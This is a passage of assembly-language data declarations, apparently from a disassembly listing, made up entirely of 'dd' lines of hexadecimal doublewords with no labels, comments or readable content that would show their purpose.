		dd 0B1807511h, 8F472715h, 7CFDAB01h, 808C31E9h,	74E8486Ch
		dd 3F61018Ch, 0FD1F0D6Fh, 49D1E803h, 541CA605h,	0D4F0FC18h
		dd 30D619F9h, 1141D0EBh, 49806C14h, 9D27E8F8h, 6B005838h
		dd 11B752C0h, 39ADAEC7h, 0C605267Eh, 0A4E33AA6h, 0EC05F77Ch
		dd 64ED5F9Fh, 17E0E80Bh, 808C9100h, 91409E6Ch, 81692DE6h
		dd 7011E41Dh, 75C14D82h, 302994F3h, 0A9184871h,	7C8E0200h
		dd 4F3665FFh, 0E83D037Fh, 8ACB5913h, 782B0BE1h,	8C91E86Ch
		dd 71300600h, 5C246109h, 338E0935h, 48C15080h, 87C63B8h
		dd 2321C03h, 90C4B115h,	0E420E509h, 0E5D56070h,	32752F5Fh
		dd 0C7349816h, 20B2D819h, 5A312DF2h, 2C0369C0h,	435CD3F8h
		dd 600262FBh, 1812E13Ah, 640C472Bh, 7981658Ah, 0C47CD8ABh
		dd 8087B2Eh, 75064ABFh,	0E96713h, 5EB15A63h, 89886A36h
		dd 0C5DAB807h, 0E0E364B0h, 74300237h, 3A83F8B6h, 0DC5C1CC2h
		dd 0F93465Eh, 20D26E21h, 0B74B1D0Dh, 978D06FFh,	28775B0Eh
		dd 465E489Eh, 0E18A0075h, 4AE41CF9h, 1C0493D0h,	337088E6h
		dd 6A062101h, 3E2ECDFBh, 322330h, 2F77D42Ah, 9E3A43D7h
		dd 0E89F09A8h, 0C987894h, 3D242B7Eh, 47F89970h,	7C466326h
		dd 629A8504h, 0B1A18E4h, 48E02271h, 3AF3D8C9h, 8C77883Eh
		dd 0CED6D904h, 0B7C59F9Ch, 42803081h, 0B0DDD700h, 0F4CD88D6h
		dd 616BFBD0h, 69FFA85Fh, 0E8E02D5Bh, 0E5C31CDCh, 848B411Bh
		dd 644CF433h, 9820B020h, 3DBC0488h, 0C547179Ch,	0A8A026A8h
		dd 0D4BC987Fh, 277F3888h, 0B3C88013h, 0A80E9BF4h, 80623506h
		dd 2EC73F3h, 0B77600A4h, 0F123368Bh, 3919F7BAh,	0AD38592Ah
		dd 864089D5h, 0EA2DCD8h, 1B3A5106h, 9C351157h, 8898484Dh
		dd 40823FD0h, 84841480h, 1D4149Ch, 17B5D522h, 3E02D3E9h
		dd 2D6A0801h, 84642409h
		dd 5FB4882Bh, 0FF74D8B4h, 14B0F019h, 0AC796B2Eh, 11FDF780h
		dd 131726C4h, 90301836h, 0D10297A4h, 9BFD2116h,	0F180749Eh
		dd 0D9454DD5h, 0A7C8A400h, 52B67D2Ah, 3CC2786h,	73E45CC5h
		dd 0BFB16B60h, 0EC7FAA2Eh, 11E61009h, 906243DCh, 31725D00h
		dd 1BA1DF9Ch, 0DA01BA13h, 48C8AC8Bh, 6466D3C0h,	291D0024h
		dd 0A5DFCBA1h, 1B535F1Ch, 3044A2F4h, 79009802h,	0C1BBE071h
		dd 14B4F96Dh, 0BC341BF8h, 7BEEA10Ch, 0B5010ED8h, 0B67C9A77h
		dd 502C7656h, 1668E6C0h, 89950CC1h, 0F864B4h, 0CFB9F1B6h
		dd 181DFEC5h, 0E040EC0Ah, 112FF0F5h, 0A0F3B0CCh, 0A6F203h
		dd 0BD25C5FBh, 13849BFCh, 0C436AC24h, 0ED9CFA0Bh, 0CBAFC09Ch
		dd 0D609BCE9h, 109785F1h, 20E0B498h, 0B20225C3h, 41DE3A77h
		dd 76387618h, 0A7009346h, 2EC14BD6h, 747640C8h,	0AC7D270Dh
		dd 83BA442h, 12F3D5Ch, 5C13645Ch, 3C796035h, 0C08C43A8h
		dd 0E1170560h, 0C6091991h, 0C51EB65Ch, 81F1EEC4h, 7F61152Ah
		dd 497E2C4h, 0CC01EDE3h, 0EC28D0F8h, 7C627B43h,	0DA536ED8h
		dd 48B59F74h, 0EEB9ED80h, 1FCD40C5h, 45837EA1h,	4317F85Ch
		dd 37FFD7CCh, 2A41E900h, 0C3C15E9Fh, 747100C6h,	563093C2h
		dd 0CB3DAA33h, 83A064A0h, 7788148Eh, 70005FCEh,	6F8ECB60h
		dd 86080242h, 1BB3264Eh, 3850ECCAh, 0B5CF4F40h,	18349C20h
		dd 0ECA91DB0h, 5BE1BE96h, 4515C00h, 88B4FC6Ah, 5000D2D5h
		dd 0E79124E9h, 0E2264Fh, 2197DD4Eh, 0ED0D3F45h,	22B45F58h
		dd 60C89E7Eh, 0FCE0A1D6h, 0BC00D4B2h, 20F997D1h, 2681A6D7h
		dd 2683986h, 334AB453h,	8999705Eh, 68C85EE9h, 5A98B23Ch
		dd 882C8F80h, 6617C240h, 3D444CE0h, 9EEBA180h, 71465EB8h
		dd 536BD60Ah, 0C3782CB4h, 590D5710h, 0F0A3B0E8h, 8C04643Dh
		dd 215C3BFBh, 7A00A094h, 444CCCBFh, 3B110558h, 948879E3h
		dd 0E6211CCDh, 0C93C1836h, 191C1EC6h, 3E800F2Ch, 48AED3A5h
		dd 0B03F01A9h, 18ACC185h, 4684348Ch, 9B491E67h,	3298C46Bh
		dd 92A0A272h, 381CE609h, 14EE017h, 54138CF8h, 15188256h
		dd 99470E1h, 74E47045h,	26704160h, 87909C07h, 4CCB1201h
		dd 5698BC0Ch, 2F048A46h, 0FC78CC02h, 103A4F8Ch,	0CD007723h
		dd 0A207555Fh, 0D8951410h, 3430E440h, 54EA25F9h, 84B3800Ch
		dd 18B686Ah, 0B46947E6h, 8B38DBE8h, 1D77D5C0h, 80401164h
		dd 356A1E19h, 0E43B2909h, 0E011EFCh, 88C28E21h,	607C8740h
		dd 0DD18FF74h, 5024682Eh, 56D98B3Ah, 0C480E5E1h, 4DE1608Bh
		dd 13910B77h, 9C0F30D4h, 3CC8A001h, 56BC027Dh, 0AED54000h
		dd 200ADC64h, 9033E4BFh, 4EC4642Dh, 23043BA8h, 0C380973h
		dd 44FE5882h, 0A34E50E4h, 402D09ACh, 32E41065h,	0D2E30360h
		dd 0A2BEE900h, 483046C3h, 0BA9AE6C0h, 0F3C0A08h, 0DE9C5A2Bh
		dd 9F77B802h, 698064B0h, 0A8913704h, 1E8981B1h,	0D6C69FD5h
		dd 815C5864h, 47CA1E1Dh, 5DAE2302h, 80787613h, 8404C153h
		dd 0B800B02Dh, 7B14118Eh, 1CCF51Ah, 0CEE21297h,	89BA5347h
		dd 23BCB860h, 0B7B46ECh, 26A176A9h, 91707053h, 384D1606h
		dd 205C8D8Fh, 9340A020h, 67070350h, 19056A7Dh, 8968711Eh
		dd 3AFEA707h, 52BA0088h, 0EF396FB1h, 0F2FA2900h, 0D2685CBBh
		dd 747C2D98h, 7D6608C0h, 0A262AD76h, 28A1649h, 0C760E97Ch
		dd 0EB2C8370h, 0AD3D48DCh, 91441D93h, 5F9F8272h, 12054AFh
		dd 2108D4DCh, 0F761FA04h, 46C78A6h, 1BAF0CBCh, 79AD10C2h
		dd 7010397Ch, 3A660555h, 0B44380E2h, 78B625D6h,	7409B7B9h
		dd 2FC44047h, 0E2AD760h, 5844911Ah, 700873A8h, 2C50588Dh
		dd 927CFC8Ah, 8D40958h,	183E4E8h, 3B0F2D6Ah, 0B2C44DEh
		dd 60FEC88h, 3B4E212h, 521112C7h, 0C1E28FF9h, 271874F8h
		dd 71912817h, 31ABB382h, 8F0078C6h, 0A39AAA38h,	9FF67Fh
		dd 3772CB2h, 0C3694C89h, 2F8B839h, 75615AB6h, 44C467EAh
		dd 0FB826042h, 0FF581832h, 5071193Eh, 0BACACD00h, 0EE90C69Ch
		dd 0BEF24Eh, 0A04B1E60h, 498C300Eh, 80D4E02Fh, 9C75B9ECh
		dd 9448B294h, 40465E94h, 6A189904h, 0FEE4C8FDh,	0E1213460h
		dd 2273593h, 9B8F852Ch,	2AE284EFh, 7503B070h, 7FFBE482h
		dd 74100948h, 1058B514h, 0E077432Ah, 1897D300h,	31466EA5h
		dd 0C4331B84h, 0E8E2303Eh, 2B4AF0C4h, 4FBD2CC8h, 0C894CE2Ch
		dd 1F00CB30h, 401FD97Ch, 13E6EC06h, 9E704608h, 30465E00h
		dd 94802D3Bh, 0A8F9E7D9h, 0D9C08444h, 0FAC27419h, 0E210006Ah
		dd 39928B36h, 70B4B4FCh, 0ABFFBB60h, 0D08C51B0h, 785166CCh
		dd 212E6326h, 5102F86Ah, 0AAE89976h, 1120D16Ch,	0F0EC46B3h
		dd 0BC44B7AAh, 0DA678FE4h, 0F48ECE0h, 1000CED0h, 38740C1Fh
		dd 1784828Dh, 0CFDDFFCDh, 0C0418834h, 5F2B262Eh, 90441E95h
		dd 4BE87E40h, 0A1001F24h, 59B98C09h, 0A49B0700h, 5030016Fh
		dd 0EDC5300Ah, 0C742C201h, 36F228DDh, 12C5E0C8h, 21615B0Ch
		dd 0AC6A5F34h, 46745C41h, 4866382Ah, 0AD11807Ch, 14BB8B6Fh
		dd 3879D4BAh, 0F2A4B397h, 20C3318Eh, 105E56Eh, 751CB404h
		dd 46EC50B8h, 765D5C8Ch, 3D51C600h, 0EA7C952Fh,	970CC2FCh
		dd 78755A4Eh, 55290B1Ah, 8C42A7FEh, 222EF484h, 78D0203Dh
		dd 2307B7B6h, 692E568h,	4BA87C30h, 4429012Bh, 0CD571E8h
		dd 7DB82CEFh, 467C8896h, 1DB30045h, 0E666C04h, 60C0B45Eh
		dd 17F018B6h, 2498A29Dh, 0BB7B0063h, 3A0B68C6h,	0ECA2B8Ch
		dd 3CA54AD0h, 67E69102h, 7C70CA78h, 0E1E4DCCCh,	1B0A300h
		dd 3B8F1079h, 62142A6Eh, 322D00F8h, 13751AFBh, 44728A77h
		dd 0B7E061CBh, 0C0E51ED4h, 72BCF298h, 0B5C71DDh, 0F0B808DCh
		dd 98338B97h, 9BFCAC60h, 3D03797h, 9433E40Ah, 9CFA4900h
		dd 0E5EF2C6Ah, 8CE58A61h, 0F280F1EFh, 1D6A3E6Dh, 66CA4112h
		dd 8D1D88A2h, 47B64019h, 11AC58FFh, 734DAA02h, 6167DA6Ah
		dd 2CD401C9h, 2B04F10h,	2FFF375Ch, 7379A459h, 0CB729818h
		dd 91FFB2Dh, 0C0ECEDC8h, 36C51CFCh, 86D31D00h, 32AC7D4Eh
		dd 7BF90BEFh, 0D479036Ah, 0B1D09E02h, 26BC7E68h, 18FF7450h
		dd 0B5080941h, 8CF29BF0h, 0CAD5D412h, 824B64F3h, 0AC213370h
		dd 540081DCh, 8295AFF8h, 0DC17264Ch, 0DDD64030h, 0C60019C5h
		dd 0B3EA4767h, 4C4E583h, 11A96A7Dh, 8858CECBh, 0F2B1C08Fh
		dd 9E025906h, 84E849D5h, 8254D67Dh, 0B356EA25h,	12008D8h
		dd 0D5851219h, 0CB345321h, 0EE45C8D0h, 99C1F7A0h, 302F9260h
		dd 6010EF1Dh, 8CBD8856h, 24CBDD38h, 172F40F2h, 9C3F917Ch
		dd 7B43ED05h, 8C7F442Eh, 14EF430Ah, 4080D86Bh, 0DBF76DBAh
		dd 5DCF0017h, 0BC609372h, 0F124143Fh, 0B0A468D4h, 0F4C39DEh
		dd 154ED201h, 96A185FBh, 5CB11689h, 6BACD869h, 1E853B0Fh
		dd 99AFC175h, 820EB63h,	0B3804024h, 26A1DC16h, 13DF04D2h
		dd 1D405C91h, 39346F2Bh, 0A0850028h, 630DEF2Dh,	35C10161h
		dd 0FA50699Fh, 337084D7h, 91163FD0h, 12C5428h, 0D02BB525h
		dd 9885AE14h, 0C141EC96h, 7438F002h, 157B683h, 0F69795F8h
		dd 0B8BB6E00h, 864DF77Fh, 8540BC99h, 0FD241054h, 0B09F05A0h
		dd 88049CE0h, 40A83851h, 5C62412Fh, 5DC4474h, 3A4AFF59h
		dd 8278E8E0h, 54BA7E0Fh, 5C68EA5Ch, 0E3004646h,	1B12F17Fh
		dd 4B5EAFCCh, 80446AE8h, 71856044h, 1FA266EAh, 0E8F65E00h
		dd 8D724A1Bh, 0EB4300B0h, 0A01C186h, 97B51E57h,	80919140h
		dd 0F944852Eh, 7ED600C4h
		dd 901AEB5h, 0AA5B988Bh, 549C2444h, 50144Ah, 35E7A76Fh
		dd 47006DE0h, 3EB0F30h,	0DFEC75h, 0A4C39F87h, 0E810B616h
		dd 4CC22B5Eh, 0A2A12751h, 0E602A0C8h, 79C8F136h, 6620192Eh
		dd 2F32090Ch, 0AC72B226h, 1CF96A15h, 5BA43E34h,	28C2C834h
		dd 0B7252220h, 0A48078C4h, 0E04BF315h, 4E6BB890h, 798B05D6h
		dd 0D2868CCBh, 28761B90h, 91465Eh, 0FB25EB29h, 4F63C466h
		dd 2208CFB9h, 0A7BB067Bh, 796CC4CBh, 4A57F018h,	4B15D798h
		dd 6ADC45B1h, 9F7801FAh, 581E4E0h, 47C128B8h, 0A8594B0h
		dd 4C17802Dh, 83802D11h, 663FEB5h, 6CE8A20Bh, 4C989099h
		dd 442CA74Fh, 7C086031h, 9F1000DBh, 6B75EB44h, 0E830C8A0h
		dd 0E2DE997h, 0D41012B5h, 18509127h, 0E48B007Eh, 0C0EB4BFBh
		dd 0BCEDA1B4h, 0A4B39F09h, 64CCC765h, 962B6045h, 0F16300F2h
		dd 0A1DD3304h, 0F09E431Bh, 3C00069Dh, 2F50131Ch, 25AA1247h
		dd 0B02826BAh, 0BB8B1504h, 64A24126h, 90EE6507h, 7E1D1186h
		dd 486213h, 60BE8D4h, 9BCAECh, 0C5E151FCh, 9A43B96h, 0D0B1AF00h
		dd 0B848C71h, 0B455F7C4h, 51AC4CEDh, 0F3E4A00Bh, 70725Eh
		dd 0B0FBA51Dh, 0A2C17EF2h, 47B9F900h, 28574F74h, 942FFE86h
		dd 401980F4h, 3E48ADFh,	885EF430h, 0CB52F0FFh, 2C179620h
		dd 65804291h, 0A217E8B6h, 4C87EC4Bh, 0E3575F64h, 8FA900A8h
		dd 7493DF0h, 9FC40946h,	487448B8h, 0A148182Dh, 0DCEB0324h
		dd 0C66BB9D5h, 0E5B0E9CBh, 18174EA6h, 40C52360h, 51BC98A9h
		dd 0B7CC658h, 7A430D1Dh, 0C8870034h, 99D7258Fh,	0D62757A3h
		dd 44B04780h, 0E40C606Fh, 68E04913h, 0B008274Fh, 0A867F348h
		dd 9C319403h, 3F7F4449h, 4603EA81h, 0CB5DE775h,	0B0A3FE07h
		dd 31B1789Bh, 29878143h, 30EE7621h, 0B19E92Eh, 0B4A2BB04h
		dd 0CACD7E8h, 0E047D505h, 0DEA49048h, 0B4131C36h, 8C4297F8h
		dd 5723A1C6h, 1CA0E808h, 32116Bh, 89B9BC5Fh, 9DE0BE36h
		dd 3C807037h, 661E65EDh, 8418245Eh, 946DA7F8h, 0F2604464h
		dd 85E247BEh, 81143B59h, 96D0E019h, 0D39CEC04h,	2EF254F2h
		dd 17BAE30h, 0A1D1CCF1h, 348B94E0h, 0E1E94ABCh,	110BEF98h
		dd 59457FFCh, 182ED9DCh, 0DCD3001Ch, 0AC7D5CB5h, 0D6164B41h
		dd 0CFE514h, 90BD7820h,	0A84170h, 66F82FA6h, 8F804765h
		dd 0EB09AB78h, 0F14A28E3h, 17F7E290h, 56287C12h, 20028B46h
		dd 0A4C8A18Eh, 0B725107Eh, 0E6BE0EACh, 144880C4h, 59DC0948h
		dd 0E2344817h, 0F1822E54h, 27321FDCh, 8E64F467h, 0F1492660h
		dd 0FF17937Ch, 0F84134ABh, 171D18AEh, 251F4868h, 0ADA134AFh
		dd 274B82Ch, 0E226075Dh, 78FA6052h, 53EA2503h, 0C1D19C3Eh
		dd 0E1841CA6h, 0ECBB7B16h, 0C2CE0634h, 219B925h, 47D4BC2Bh
		dd 3C4870E8h, 98B4DB44h, 604CEDADh, 0B16558F0h,	2EF82703h
		dd 0E54730BFh, 0C8D0AC17h, 5E0CA3FFh, 6A088180h, 4BFC7DFCh
		dd 6027C0C4h, 0C4A867CBh, 0DEE56741h, 74B4E2C1h, 2F4ADC68h
		dd 4423D0h, 0D83A270Bh,	6A11438Ah, 0E1217F8h, 8404B8ADh
		dd 44EAAB78h, 0A9DD3AECh, 353400A0h, 7C997784h,	5367DB7h
		dd 433DF297h, 8AD0A40Dh, 3DDC9188h, 0BC5C4554h,	5A554270h
		dd 818080DAh, 0EDD0135Eh, 1FBE6909h, 828826Ah, 20C0E4A2h
		dd 0A6135C3Ch, 0D40BBA7Dh, 0A384201Dh, 0C0255E9Fh, 0C2E3C51h
		dd 0E40050CEh, 3869A06h, 24F58C2h, 0ECF7C136h, 41DFF5A5h
		dd 346C5FDEh, 38C48ECh,	0EA08F9C1h, 0DE05BDE3h,	7D448E1Bh
		dd 2AECA440h, 3C7072D4h, 0BC69DB26h, 4711189Dh,	7709C09Dh
		dd 33C81913h, 0D1EC8125h, 0DD350010h, 92F28FDBh, 0E54C1A00h
		dd 5D3DC7FAh, 2F885A5Ah, 24432358h, 4D91E9Eh, 0F855B626h
		dd 908B4BC8h, 34C078C8h, 3D1B343h, 38F925E9h, 0E48D5FFAh
		dd 603F238Ch, 0B407036Ch, 0A3EC9A2Ch, 0E2B09E68h, 7F271263h
		dd 0A81CA925h, 6C058C2Ah, 0AA14E8A2h, 0B78FF8BCh, 0F280E292h
		dd 586C3092h, 0F842C900h, 0A0211591h, 445098D6h, 0FB12E461h
		dd 54122F6Bh, 0C8020F8h, 65DF8C34h, 115963Ah, 4604BFE1h
		dd 3030BC89h, 827E40C0h, 1545DC01h, 75B0494Eh, 0A2F0133Bh
		dd 0C0E000BCh, 0A07DF0D2h, 138EFC5Ch, 0B1C3A7B3h, 149847FCh
		dd 4E860282h, 0E4C44581h, 4A5E6030h, 99FE0441h,	0AAEED9BEh
		dd 0D6ABAC02h, 0D08B5776h, 0C0B33107h, 0D782DFD4h, 10587759h
		dd 0B0583148h, 0DC830C12h, 0D80BD5D4h, 0D98DB6A8h, 96858BA0h
		dd 448B14E8h, 6000E4B9h, 9941CF02h, 0AA040061h,	0BC202F7Dh
		dd 0ED951726h, 7DF8C2FCh, 5F582460h, 60307481h,	360C014Dh
		dd 0B81FE741h, 43C3820h, 2B840BE4h, 0EDD278FCh,	6EA848h
		dd 8609A548h, 82B3B24Bh, 0CD001176h, 25D7971Bh,	957894AEh
		dd 141878C9h, 70A0F8C5h, 0B74D4AB6h, 3D4F09Ch, 0F954C04h
		dd 0A862CD00h, 254B632h, 467454B6h, 0E8080248h,	0E08C5238h
		dd 48FA024Ch, 78100059h, 0AC097130h, 0FAD45549h, 0BBEA1F50h
		dd 3D22409Ch, 33571002h, 7F236022h, 0A5805890h,	5DF24000h
		dd 598C814Fh, 0E8606F4Ch, 0BE028C3Fh, 9E863356h, 0A50DCB5h
		dd 80CC6414h, 21C36067h, 0B106693Ah, 1E300C1Ch,	0EC993A89h
		dd 0BC7BE025h, 6114858h, 0F66A9659h, 0FE30512Ch, 8C0E9935h
		dd 0E69C393Ch, 92103A00h, 4CB3FFD5h, 52C875Dh, 5768035Ch
		dd 41222CB3h, 91381795h, 6BEB8F30h, 29F0409Bh, 0DB03518Ch
		dd 34B7D011h, 83309B2Eh, 0A741CDD3h, 3AF60170h,	3C94B9DFh
		dd 76489C08h, 50C88C16h, 8DE48727h, 6C27460h, 35C10905h
		dd 34CA5523h, 47B08C46h, 0D424584Dh, 833884A2h,	0ED2B7A34h
		dd 0DBD85BBBh, 0AA678018h, 5B779B6h, 0E847DA80h, 0BB5CE078h
		dd 0FAD58500h, 0E2F06DDCh, 7776255Dh, 3611745Bh, 1034097Dh
		dd 8C802CD0h, 0DB12812Eh, 14327771h, 7A447180h,	0D5CB00D0h
		dd 0AC968382h, 5012C3FBh, 80C8EBA2h, 91BB0033h,	0EFAFCFDAh
		dd 0C500626Ch, 0B674CCBEh, 0FD01DBC0h, 0BFE133D4h, 39851035h
		dd 10C1FB3Dh, 412E9C3Eh, 0CA05C34h, 0A2D03332h,	0A5ED3047h
		dd 7C456400h, 5D0E5C19h, 0B44100ACh, 17A2E30h, 12123AD7h
		dd 0ECF29875h, 0C8F6FBCEh, 8F5A8C8Ch, 5B25049Ch, 128830AFh
		dd 742510B7h, 0AFF45339h, 0BE1BE037h, 0C0B8C5A0h, 742B64C1h
		dd 0A6809C47h, 0CB13ACA8h, 0F48E66B0h, 0BFC047C8h, 2304F0Ah
		dd 3F3AB734h, 10F2148Dh, 41D5C00h, 9CDD87D6h, 3F9F0206h
		dd 74E66402h, 317944F1h, 0AC079518h, 0B46EEC21h, 0C0A8FED4h
		dd 2825F848h, 805D0470h, 38DB834h, 0E4CE6410h, 0E29F1647h
		dd 0AC7E4CFCh, 934488h,	0FA9869E6h, 6A0F16AEh, 0A055DC83h
		dd 9FAF90CAh, 99842DE0h, 7364E047h, 99438A60h, 44B18313h
		dd 0ABF8E490h, 0EDA900C0h, 0D16B0478h, 9500B91Fh, 0FDA224B0h
		dd 5CC5537h, 54D401E9h,	0C5E41D77h, 0A8A3879Fh,	457C10B4h
		dd 0AF99700h, 6AA7E78Bh, 0C445034Bh, 28B2C8FFh,	0A3E8E64Ah
		dd 0DEE4B089h, 0C8C4A803h, 0EC479F34h, 7580F1EFh, 41A6EB5Eh
		dd 0B16B8D09h, 5A8FB20h, 0D0788CE0h, 4980038Ch,	0E0B0A380h
		dd 76749EA9h, 5D0F7546h, 4C402456h, 0C8A01737h,	46B57AE2h
		dd 0C468856Ch, 65246075h, 9EE109B3h, 60545AEEh,	4714676h
		dd 811E3D6Fh, 75E864BCh, 1C34008Ch, 9F6F3ED2h, 0E0702196h
		dd 0E842885Bh, 0F18B37A5h, 182FD174h, 0A1AD3A15h, 3AFD0600h
		dd 0E8A06A1Ah, 4361A46Bh, 0DAEAE26Ch, 97C700E0h, 0D3663719h
		dd 0C600B99Ah
		dd 0F77F2F9Fh, 2722AC0Dh, 0BCEF8256h, 8FA80740h, 40371E43h
		dd 747CCC4Ah, 984F6890h, 0B808A8F2h, 0E4269A64h, 284EB408h
		dd 805474E4h, 0C04913E4h, 0D1A327A0h, 80DC1E8Ch, 0EBCCB848h
		dd 0B7B5FF15h, 229501B8h, 6DAC8038h, 589AD350h,	3A740280h
		dd 5DE86A7Eh, 25652538h, 1300C170h, 0B8015869h,	67C503F7h
		dd 0BCEC6DA6h, 0C095001Bh, 0C1CE2C11h, 0AA3A0CF7h, 60385BC3h
		dd 0AB77889Ch, 499F8FECh, 177E637Ch, 5706EE0h, 5308F104h
		dd 0CA8728F8h, 6612B0B9h, 0BF00036Eh, 9B281AEEh, 9FAD0901h
		dd 815BA844h, 39EA540Ch, 0C81F13CCh, 0B9F0409Ch, 6522D3F9h
		dd 4464449Fh, 0C0273F4Bh, 44240388h, 0F2414ADCh, 3092F230h
		dd 0E10F6C3Dh, 4497B462h, 0E0C1E75Eh, 0F2007E70h, 214F6DE0h
		dd 2088F88Dh, 140A6944h, 0B0ACE881h, 1312F060h,	8C170062h
		dd 65D3A631h, 0C3029EE6h, 3DF3A4C7h, 0E86CA89Ch, 8D1A7E80h
		dd 48B54746h, 481670D4h, 23603E7Bh, 2C593A6Fh, 53CCB393h
		dd 3072A290h, 0C405C766h, 0FE6A233Eh, 920F2C04h, 0F61412FAh
		dd 0A79CB04Ch, 0BBF02534h, 917794C2h, 480B5618h, 8C71E8F8h
		dd 302D509h, 79340467h,	7818F152h, 6A8B06E4h, 0E37118F6h
		dd 0FD34C02Eh, 0D7169B16h, 4C484FFh, 43BC94F8h,	0CCE3008Ch
		dd 0B4C20EA7h, 2BD2FE0h, 7F1726A0h, 8D020037h, 54C018B6h
		dd 0B3A7020Ch, 110278DCh, 7974F1CBh, 6D188Fh, 537FB30h
		dd 3CE04A2Ch, 8A39F4Fh,	8194DA4Ah, 92F2574Ah, 0C1A0007Fh
		dd 15E64835h, 608F7D5Ah, 19C18C88h, 137FFB84h, 0B028B698h
		dd 0D63760h, 6E21CE0Eh,	0D9771991h, 0CCA0894Ah,	3BE813B4h
		dd 0D8CE02Ah, 7EA00E5Ch, 4F415C40h, 0E0C0F603h,	16CF038h
		dd 26E8332Dh, 0D8E62E44h, 2C015F9Ch, 8B669306h,	52C450FEh
		dd 0E9311C0Fh, 0C4023010h, 9900820Bh, 624469Fh,	7A7304h
		dd 750A2184h, 93585A91h, 55186A70h, 203703E8h, 3C3725Dh
		dd 4246C89h, 8304481h, 55452117h, 3BFB0C3h, 0B50BA142h
		dd 8C062A41h, 2D15BD2Bh, 0ECFF7C0Ch, 0F781801Eh, 0B134760Fh
		dd 8C958E0Eh, 1A091826h, 0C07899Dh, 8A23F7C3h, 0C3580E50h
		dd 62448944h, 5040201Ch, 8B0718C3h, 30907F67h, 606B75E0h
		dd 250760E8h, 62A14A4Dh, 0B37DD300h, 78D7E281h,	5E320320h
		dd 19719589h, 0E6618001h, 0ADB58B70h, 0E4123FDFh, 124E928h
		dd 5169B1DDh, 88AA53E0h, 204528h, 830F613Ch, 2AD00265h
		dd 8C15E8A8h, 8B0C7DE0h, 5623C9BDh, 0D8B62B0Fh,	0EFBC5826h
		dd 0F9B50308h, 11E90C0Fh, 2103A321h, 71D7206Fh,	8FA6F91Ah
		dd 3332AE8h, 852DCAEBh,	6F8506BAh, 5F960664h, 0E1513E9h
		dd 0A9FEF3F2h, 5BAA1220h, 370054FBh, 0AC0C6633h, 1D0A030h
		dd 0F8C38B32h, 4104E8C1h, 262D82h, 87E2F766h, 6B601444h
		dd 0EA15BE66h, 23A42BE7h, 0C35A0E52h, 62548944h, 52422016h
		dd 8A0CA2C3h, 44F958C7h, 7388140Fh, 1BF88E01h, 7FE0008Ch
		dd 85F62213h, 0BE01C66Bh, 6ACBEF68h, 0BB4F07B9h, 79C016C8h
		dd 4883669Fh, 1BECA3C1h, 67C4008Ch, 0D98AD4AEh,	661CECE8h
		dd 0A3E816BFh, 3B6D9E1Fh, 0F2860F06h, 0CA81A337h, 8C66020Dh
		dd 0FF848462h, 0C1F6000Bh, 60840F04h, 16031B6h,	11635D95h
		dd 8E820h, 63214F19h, 17D3BC7Fh, 0BD337406h, 75262C61h
		dd 20189858h, 48E929E9h, 0C00512F2h, 0EC89E71Eh, 0B8FC00FBh
		dd 0C1F0A010h, 14257C00h, 5BE6F556h, 2BFA148Bh,	57238BC3h
		dd 13F95F1Eh, 2E387C89h, 0C3570047h, 0DD2FA3C2h, 9306759Ch
		dd 343D4906h, 478781BDh, 19C8DB4Fh, 0B9FA51C0h,	0E3481EEBh
		dd 4626AAE9h, 0C35E1356h, 2674570Ah, 564650h, 0BD657CC3h
		dd 8BA8689Eh, 0BC9BC049h, 20C09090h, 0E7ED19B5h, 519F92C4h
		dd 91F75931h, 11634C89h, 0C3514180h, 0DB24A1B5h, 203C1539h
		dd 5F530305h, 1A4985C7h, 0AB33100Eh, 2B51C0ECh,	0CC1FEDB5h
		dd 29C25F16h, 2559B9F2h, 27BD2C21h, 9690D044h, 0D212850Fh
		dd 3DE50473h, 94FF0F0Ch, 16293E16h, 49291D55h, 19E1E69Ah
		dd 13A7496Ch, 0FD601744h, 4A48ECCDh, 81660036h,	9080A6EFh
		dd 0B70F12FCh, 0E964DF6h, 1725D97Bh, 14FCF0C3h,	4C05D5BCh
		dd 0A9DBE926h, 1817D1E4h, 0E3D819ECh, 554D68DAh, 31066FB3h
		dd 96CFCC36h, 0C5A438F3h, 0FBD49241h, 18230A3Ah, 6591CD00h
		dd 580FB5B0h, 8187358Fh, 0FDBE10EEh, 0F1058B4Ch, 33C98D89h
		dd 1B23C93Eh, 3D263B03h, 0A441D84Fh, 0F8B4CBEAh, 9B988418h
		dd 3A81E00h, 0DB852613h, 0C55F005Dh, 5A413953h,	7009BF16h
		dd 82405E66h, 0ED449781h, 0E585E04Fh, 51074ADDh, 6C57E343h
		dd 2012E952h, 5E1664BEh, 39711400h, 0F268B847h,	0F8A35E3Dh
		dd 0B5A81F95h, 0C1135E6h, 859D8904h, 0D9268831h, 1CE93040h
		dd 69FFF7F0h, 181AD1F7h, 0B2A2024Eh, 0AE80D3D7h, 21A14440h
		dd 1CF533A0h, 69F7C082h, 0C119CC22h, 398C536Ch,	8911C35Bh
		dd 801D885Ch, 2FC35343h, 9900B16Dh, 744976ECh, 18134A0h
		dd 694E2ACEh, 0B804EB36h, 89092431h, 0BF0FE530h, 5BE00F8h
		dd 8D70216Eh, 3259A585h, 0A8887F29h, 0DA8000BFh, 1B9CDBBEh
		dd 400262DCh, 0F1AEBA7Ch, 0F8D1485Fh, 8950098Fh, 661D2404h
		dd 0FD861511h, 8EA03AADh, 0B5912101h, 8CEE6030h, 0D9A0C304h
		dd 0CEEC3016h, 0C11688EBh, 886DC286h, 13256562h, 83330166h
		dd 0DA0F05C0h, 0CE03A246h, 5A784D8Fh, 61FBE060h, 52500090h
		dd 961765BFh, 31610F02h, 585AF240h, 48EC1FBh, 22730215h
		dd 744790F7h, 0D611544h, 0F1DC2078h, 60E908F9h,	9F9B250Ch
		dd 8B009368h, 87F4FD10h, 0D4B88812h, 15E82226h,	2D78588Ch
		dd 21D5BD13h, 0C235B5A6h, 9D20E964h, 0D7810023h, 16021E32h
		dd 8D7DFE8Bh, 2FA0421Fh, 910B17A5h, 68508017h, 2A23675Ah
		dd 29FCDDB5h, 31C5870Fh, 93014996h, 613AD38Bh, 9F001D23h
		dd 12945FA6h, 3891FEA7h, 0EB1E97Eh, 0FC07B525h,	78002D4Fh
		dd 0C187F9D7h, 58796929h, 58758020h, 1DF8221Ah,	1BD5008Ch
		dd 7DCF91B7h, 410C24D7h, 2505E99Fh, 2F620FA5h, 5B4BEE42h
		dd 1DE886A6h, 81125DE0h, 7B3FE3EDh, 22001A23h, 77203B9h
		dd 0FEA458C2h, 1C286F3h, 740CF108h, 718B7CFEh, 0A7187E9Dh
		dd 601A64EFh, 923C141h,	0B23EE046h, 81F39701h, 3780C2E3h
